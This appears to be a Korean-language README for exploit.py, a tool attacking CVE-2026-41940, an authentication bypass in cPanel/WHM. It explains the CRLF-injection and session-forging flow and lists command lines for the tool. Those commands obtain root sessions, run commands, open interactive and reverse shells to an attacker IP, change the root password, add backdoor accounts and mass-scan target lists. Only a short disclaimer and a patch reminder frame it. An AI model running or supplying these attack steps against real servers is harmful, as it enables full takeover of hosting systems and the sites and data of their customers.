CVE-2026-41940: cPanel/WHM 인증 우회 (단일 및 다중 타깃)
면책 조항: 본 문서와 관련 스크립트(exploit.py)는 교육 목적, 보안 연구, 그리고 승인된 침투 테스트를 위해서만 제공됩니다. 소유하지 않았거나 테스트에 대한 명시적 허가를 받지 않은 시스템에는 이 소프트웨어를 사용하지 마십시오.
개요
exploit.py는 cPanel & WHM에서 인증 우회 취약점(CVE-2026-41940)을 시연하는 스크립트입니다. 이 취약점으로 인해 인증되지 않은 공격자는 CRLF 주입 결함을 통해 데몬 캐시에 루트 세션을 주입할 수 있으며, 궁극적으로 유효한 자격 증명 없이도 루트 수준의 WHM 접근 권한을 얻을 수 있습니다.
취약점 분석 및 익스플로잇 흐름
이 익스플로잇은 Basic Authentication 처리 메커니즘 내의 CRLF(캐리지 리턴 라인 피드) 주입 취약점과 세션 전파 결함을 함께 활용하여 작동합니다. 스크립트는 공격을 4단계로 자동화합니다:
- 사전 인증 세션 발급: 공개 로그인 엔드포인트(예:
/login/ 또는 /cgi/login.cgi)에 연결하여 기본 비인증 세션 쿠키(whostmgrsession)를 획득합니다.
- CRLF 주입: Base64로 인코딩된 페이로드가 포함된 조작된 Basic Authentication 헤더를 전송하여 루트 세션 필드를
cpsrvd 세션 캐시에 직접 주입합니다. 서버의 리다이렉트 응답에서 생성된 보안 토큰(cpsess)이 유출됩니다.
- 세션 전파: 원시 세션 쿠키를 인증된 WHM 엔드포인트로 전송하여
do_token_denied가 위조된 세션을 데몬 캐시로 전파하도록 트리거함으로써 유효한 인증 세션으로 만듭니다.
- 검증: 위조된 세션을 사용하여 제한된 WHM API 엔드포인트(예:
/json-api/version)에 접근하여 루트 수준 접근 권한을 확인합니다.
사전 요구 사항
- Python 3.x
requests 라이브러리
사용법
python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]
인자
타깃 선택
| 인자 | 설명 |
|---|
--target URL | 단일 WHM URL (예: https://target:2087) |
--target-file FILE | 타깃이 포함된 파일 (한 줄에 ip:port 하나씩) — 자동으로 검사 모드 활성화 |
네트워크 및 핵심 옵션
익스플로잇 옵션 (우회 후)
출력 옵션
| 인자 | 설명 |
|---|
--output FILE | 세션 토큰 및 세부 정보를 JSON 파일로 저장 |
예제
# Check if target is vulnerable
python exploit.py --target https://target:2087 --check
# Dump server info (version, accounts, privileges)
python exploit.py --target https://target:2087 --dump
# Generate a one-click root login URL (paste in browser immediately)
python exploit.py --target https://target:2087 --session
# Execute a command
python exploit.py --target https://target:2087 --exec "id"
# Drop into an interactive WHM shell
python exploit.py --target https://target:2087 --shell
# Change root password
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# Call WHM API directly
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# Create a backdoor cPanel account
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# Send reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# Override hostname (use when auto-discovery fails)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# Scan multiple targets (check-only mode)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# Save session to file
python exploit.py --target https://target:2087 --dump --output results.json
대화형 셸 명령
--shell 사용 시 다음 명령을 사용할 수 있습니다:
알림
최신 cPanel/WHM 보안 패치를 즉시 적용하십시오.